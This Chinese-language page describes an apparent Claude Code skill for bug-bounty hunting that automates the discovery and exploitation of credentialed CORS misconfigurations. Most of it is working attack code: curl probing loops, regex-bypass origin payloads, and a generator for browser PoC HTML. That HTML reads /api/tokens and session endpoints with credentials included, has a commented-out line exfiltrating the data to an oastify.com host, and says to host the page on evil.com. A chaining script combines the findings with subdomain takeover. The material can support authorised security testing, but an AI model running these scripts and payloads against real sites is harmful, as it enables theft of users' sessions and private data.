关于 cors-chain-automation
cors-chain-automation 是用于系统排查多个 API 端点和目标域名 CORS 行为的技能。它区分可利用凭据的模式与误报,并为已确认发现生成浏览器 PoC HTML。
主要功能
- 01发现并探测多个端点
- 02测试反射、null 和正则绕过来源
- 03检查 OPTIONS 预检行为
- 04分类子域名正则缺陷
- 05生成浏览器 PoC HTML
适用场景
- 01对端点列表进行 CORS 排查
- 02验证带凭据的跨域访问
- 03检查 OPTIONS 是否允许可用请求
- 04为已确认发现创建浏览器 PoC 文件
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill cors-chain-automation安装后在 Claude Code 中输入/cors-chain-automation确认已加载。
详细介绍
多端点 CORS 分诊
适用场景
当你拥有一系列 API 端点或目标域名,需要系统性地大规模查找可利用凭据的 CORS 错误配置时使用。它会区分 3 种可利用模式(反射任意源并允许凭据、信任 null 源、子域名正则表达式绕过)与误报(仅有 ACAO: *、没有反射源的 ACAC、仅允许同源)。确认发现后,会生成可直接使用的浏览器 PoC HTML 文件。
CORS 变体
| # | 变体 | 初始信号 | 必需的后续验证 |
|---|---|---|---|
| V1 | 带凭据的源反射 | 反射源且 ACAC: true | 使用带凭据的浏览器读取受保护数据 |
| V2 | 信任 null 源 | ACAO: null 且 ACAC: true | 使用沙盒浏览器验证 |
| V3 | 不带凭据的通配符 | ACAO: * | 判断数据是否本来就是公开的 |
| V4 | 带凭据的预检请求 | OPTIONS 接受源和方法 | 实际浏览器请求成功 |
| V5 | 受保护路由的 CORS | 401 或 403 响应中出现 CORS | 已获批准的会话返回受保护数据 |
| V6 | 广泛的源反射 | 反射多个互不相关的源 | 使用受控源进行浏览器验证 |
| V7 | 特定命名空间的 CORS | 仅一个 API 或插件命名空间进行反射 | 验证该命名空间的数据或操作 |
| V8 | 特定环境的 CORS | 不同环境中的策略不同 | 在范围内展示影响 |
关键实现经验 — 测试所有端点,而不只是 /users
不要根据单个路由推断整个应用的策略。测试应用映射支持的有限端点集合:
# WRONG — tests only /users:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"
# CORRECT — test ALL endpoints:
for ep in /wp-json/wp/v2/users /wp-json/wp/v2/posts /wp-json/wp/v2/pages \
/wp-json/wp/v2/media /wp-json/wp/v2/comments /wp-json/wp/v2/statuses \
/wp-json/wp/v2/tags /wp-json/wp/v2/categories /wp-json/wp/v2/settings \
/wp-json/wc/v3/products /wp-json/gf/v2/forms /wp-json/wp-site-health/v1; do
cors=$(curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null | grep -iE "access-control-allow-origin|access-control-allow-credentials")
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null)
echo "${ep} — HTTP ${code} | ${cors:-NO CORS}"
done
即使返回 401/403(需要身份验证)的端点也会发出 CORS 标头;如果管理员已登录,这些 401 响应就会变成 200,敏感数据也可被跨源读取。
OPTIONS 预检请求中的 CORS(V4)
有些站点只在 OPTIONS 预检请求中泄露 CORS 标头,而不在 GET 中泄露。务必两种都测试:
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" | grep -iE "access-control"
null 源测试(V2)
沙盒 iframe 会发送 Origin: null。有些站点会将其列入白名单。请明确测试:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: null" | grep -iE "access-control"
# Quick triage: probe 3 CORS patterns on a target
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: https://evil.com" \
-H "Cookie: $COOKIE" | grep -i "access-control"
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: null" \
-H "Cookie: $COOKIE" | grep -i "access-control"
# Multiple origins test
for origin in "https://evil.com" "https://eviltarget.com" "https://x.target.com.evil.com"; do
echo "=== $origin ==="
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" -H "Origin: $origin" -H "Cookie: $COOKIE" | grep -i "access-control"
done
分步操作
阶段 1 — 发现端点
#!/bin/bash
# cors-endpoint-discovery.sh - Find CORS-emitting endpoints
TARGET="$1"
ENDPOINTS=(
"/api/me" "/api/user" "/api/profile" "/api/session" "/api/tokens"
"/api/csrf" "/api/account" "/api/settings" "/api/config"
"/api/v1/me" "/api/v1/user" "/api/v1/profile"
"/wp-json/wp/v2/users" "/wp-json/wp/v2/posts"
"/graphql" "/v1/graphql"
"/.well-known/openid-configuration"
)
for endpoint in "${ENDPOINTS[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
-H "Origin: https://evil.com" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control")
[ -n "$result" ] && echo "=== $endpoint ===" && echo "$result"
done
阶段 2 — 自动探测 CORS(3 种模式)
#!/bin/bash
# cors-probe.sh - Test 3 exploitable CORS patterns on each endpoint
TARGET="$1"
COOKIE="${2:-}"
PATTERNS=(
"https://evil.com"
"https://eviltarget.com"
"https://x.target.com.evil.com"
"null"
)
RESULTS_FILE="/tmp/cors_results_${TARGET//\//_}.txt"
echo "CORS Probe Results for $TARGET" > "$RESULTS_FILE"
echo "Cookie: ${COOKIE:+present}" >> "$RESULTS_FILE"
for origin in "${PATTERNS[@]}"; do
echo -e "\n--- Origin: $origin ---" >> "$RESULTS_FILE"
# Test multiple endpoints
for ep in /api/me /api/user /api/profile /api/session /api/tokens /api/csrf; do
response=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ep" \
-H "Origin: $origin" ${COOKIE:+-H "Cookie: $COOKIE"} 2>/dev/null)
acao=$(echo "$response" | grep -i "access-control-allow-origin" | tr -d '\r')
acac=$(echo "$response" | grep -i "access-control-allow-credentials" | tr -d '\r')
[ -n "$acao" ] && echo " $ep → $acao | ${acac:-no ACAC}" >> "$RESULTS_FILE"
done
done
echo "Results written to $RESULTS_FILE"
阶段 3 — 子域名正则表达式绕过分类
#!/bin/bash
# cors-regex-classifier.sh - Identify the EXACT regex flaw
# Usage: ./cors-regex-classifier.sh target.com
TARGET="$1"
ENDPOINT="/api/me"
# Test each bypass class
declare -A TESTS
TESTS["Standard-subdomain"]="https://evil.$TARGET"
TESTS["Missing-dot-separator"]="https://evil${TARGET}"
TESTS["Missing-end-anchor"]="https://x.$TARGET.evil.com"
TESTS["Prefix-only"]="https://$TARGET.evil.com"
TESTS["Backtick-bypass"]="https://$TARGET%60.evil.com"
TESTS["Null-origin"]="null"
echo "=== CORS Regex Classification for $TARGET ==="
for test_name in "${!TESTS[@]}"; do
origin="${TESTS[$test_name]}"
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ENDPOINT" \
-H "Origin: $origin" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control-allow-origin")
echo "[$test_name] Origin: $origin → ${result:-NO MATCH}"
done
阶段 4 — 生成浏览器 PoC
#!/bin/bash
# cors-poc-generator.sh - Generate browser PoC HTML for confirmed findings
# Usage: ./cors-poc-generator.sh target.com /api/me "eyJhbGci..."
TARGET="$1"
ENDPOINT="$2"
SESSION_HINT="${3:-}"
DATE=$(date +%Y%m%d)
POC_FILE="poc-cors-${TARGET}-${DATE}.html"
cat > "$POC_FILE" << POCEOF
<!doctype html>
<html>
<head><title>CORS PoC — ${TARGET}${ENDPOINT}</title></head>
<body>
<h2>CORS Credential Read PoC</h2>
<p>Target: <code>https://${TARGET}${ENDPOINT}</code></p>
<p>Date: ${DATE}</p>
${SESSION_HINT:+<p>Session hint: <code>${SESSION_HINT}</code></p>}
<pre id="out">Loading...</pre>
<hr>
<h3>Results:</h3>
<script>
(async () => {
const out = document.getElementById('out');
const results = [];
try {
let r = await fetch('https://${TARGET}${ENDPOINT}', {credentials: 'include'});
let d = await r.text();
results.push('STATUS: ' + r.status);
results.push('BODY: ' + d.substring(0, 500));
// OOB exfil (uncomment for proof)
// await fetch('https://OOB-ID.oastify.com/exfil?d=' + btoa(d));
} catch(e) {
results.push('BLOCKED: ' + e.message);
}
out.textContent = results.join('\\n');
// Additional endpoints
const extraEndpoints = ['/api/user', '/api/session', '/api/tokens'];
for (const ep of extraEndpoints) {
try {
let r = await fetch('https://${TARGET}' + ep, {credentials: 'include'});
let d = await r.text();
results.push('--- ' + ep + ' ---');
results.push('STATUS: ' + r.status);
results.push('BODY: ' + d.substring(0, 300));
} catch(e) {
results.push('--- ' + ep + ' --- BLOCKED');
}
}
out.textContent = results.join('\\n');
})();
</script>
</body>
</html>
POCEOF
echo "[+] PoC written to: $POC_FILE"
echo " Host this on evil.com and visit while logged into $TARGET"
阶段 5 — 与子域名接管结果进行批量交叉比对
#!/bin/bash
# cors-bulk-chainer.sh - Find targets where CORS + subdomain takeover chain
# Reads CORS results and subdomain takeover fingerprints, finds overlaps
CORS_RESULTS="$1"
SUB_RESULTS="$2"
echo "=== CORS + Subdomain Takeover Chain Candidates ==="
while read line; do
target=$(echo "$line" | awk '{print $1}')
cors_type=$(echo "$line" | awk '{print $2}')
sub_status=$(grep "$target" "$SUB_RESULTS" 2>/dev/null | head -1)
if [ -n "$sub_status" ]; then
echo "[CHAIN] $target — CORS: $cors_type | Subdomain: $sub_status"
echo " -> If CORS trusts *.$target and a subdomain is takeoverable: Critical chain"
fi
done < "$CORS_RESULTS"
注意事项
- 只测试 /users 端点 — 这是最常见的 CORS 检测错误。WordPress 上的 CORS 凭据反射会影响所有 REST 端点,而不只是 users。请测试
/wp/v2/users、/wp/v2/posts、/wp/v2/pages、/wp/v2/media和特定于插件的命名空间。 - 将单独的 ACAO: 误认为可利用的 CORS* — 不带
Access-Control-Allow-Credentials: true的Access-Control-Allow-Origin: *是安全的。只有源反射并允许凭据才可利用。 - 跳过 OPTIONS 预检请求 — 有些站点只在 OPTIONS 中发出 CORS 标头,而不在 GET 中发出。务必测试这两种方法。
- 遗漏 null 源测试 — 沙盒 iframe 会发送
Origin: null。有些站点会将其列入白名单。请明确测试。 - 只测试单个源 — 只测试
Origin: https://evil.com会漏掉多源反射模式。至少测试 4 种模式:evil.com、子域名绕过、null 和预检请求。 - 需要身份验证的端点仍会泄露数据 — 即使是 401/403 响应也可能发出 CORS 标头。如果管理员已登录,这些响应就会变成 200,数据也可被跨源读取。
- 未记录仅在 Staging 环境出现的 CORS — 如果 CORS 只在 Staging 环境中可利用,请明确记录。生产环境可能有不同的控制措施。
- 不带凭据:include 的浏览器 PoC — 生成的 PoC 必须使用
credentials: 'include',否则浏览器不会发送 Cookie,攻击也不会生效。 - 迭代超过 5 个端点时使用 Shell 循环 — zsh 数组展开可能会悄无声息地失败。超过 5 个端点的批量 CORS 探测请使用 Python。
攻击面信号
- 返回
Access-Control-Allow-Origin标头的端点 - 基于 Cookie 身份验证的 API 端点(响应正文中包含 PII、令牌、CSRF 令牌)
- WordPress REST API 端点(
/wp-json/wp/v2/users、/wp-json/wp/v2/posts) - 使用客户端 API 调用的 SPA(Next.js、React、Vue)
参考文件
常见根本原因
- 反射任意来源并允许凭据 — 服务器回显
Origin标头并设置ACAC: true - 信任 null 来源 — 服务器将
null来源加入白名单,可通过沙盒 iframe 利用 - 子域名正则表达式缺陷 — 点未转义、缺少结尾锚点、缺少前缀点
- 完全未验证 Origin 标头 — 接受所有来源
- 绕过预检(OPTIONS)限制 — OPTIONS 允许任意方法和标头
绕过技术
| 正则表达式缺陷 | 载荷 | 原因 |
|---|---|---|
| 域名前缺少点 | https://eviltarget.com | .*target\\.com$ 会匹配 eviltarget.com |
缺少结尾锚点 $ | https://x.target.com.evil.com | 正则表达式只匹配前缀 |
点未转义(. = 任意字符) | https://xtargetXcom | . 匹配任意单个字符 |
仅匹配前缀(没有 $) | https://target.com.evil.com | 匹配字符串开头 |
| 信任 null | 沙盒 iframe + data: URI | 自动发送 Origin: null |
真实案例
根据对 58 家公司的实地侦察:
- 7 个深度目标中有 5 个在 WP REST API 上存在 CORS 凭据反射(反射任意来源 + ACAC)
- 这 5 个目标均允许跨来源携带凭据读取用户列表、文章内容和媒体文件
- CORS 漏洞与子域名接管串联后,可实现完整的同源 JS 执行
验证
运行此自检以确认 CORS 探测功能正常:
-
基本 CORS 探测 — 测试已知端点的来源反射:
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control" -
OPTIONS 预检测试 — 确认预检探测语法:
curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/get" -H "Origin: https://evil.com" -H "Access-Control-Request-Method: GET" -D - -o /dev/null | head -5 -
Null 来源测试 — 确认 null 来源语法:
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: null" -w "HTTP %{http_code}
"
4. **PoC 模板完整性** — 验证浏览器 PoC 模板是否存在:
```bash
grep -q "credentials: 'include'" SKILL.md && echo "PASS: PoC template includes credentials" || echo "FAIL"
grep -q "fetch(" SKILL.md && echo "PASS: fetch() PoC pattern present" || echo "FAIL"
全部 4 项测试用于验证核心 CORS 探测能力。
相关技能
- hunt-cors — 底层 CORS 漏洞搜寻方法
- hunt-subdomain — 将 CORS 与子域名接管串联,用于发现严重漏洞
- hunt-xss — 浏览器 PoC 生成技术
- hunt-csrf — 将 CORS 预检绕过链串联为 CSRF 攻击
- hunt-dom — postMessage 来源检查与 CORS 来源检查相关
- hunt-wordpress — WP REST API 是最常见的 CORS 来源
评论
支持 Markdown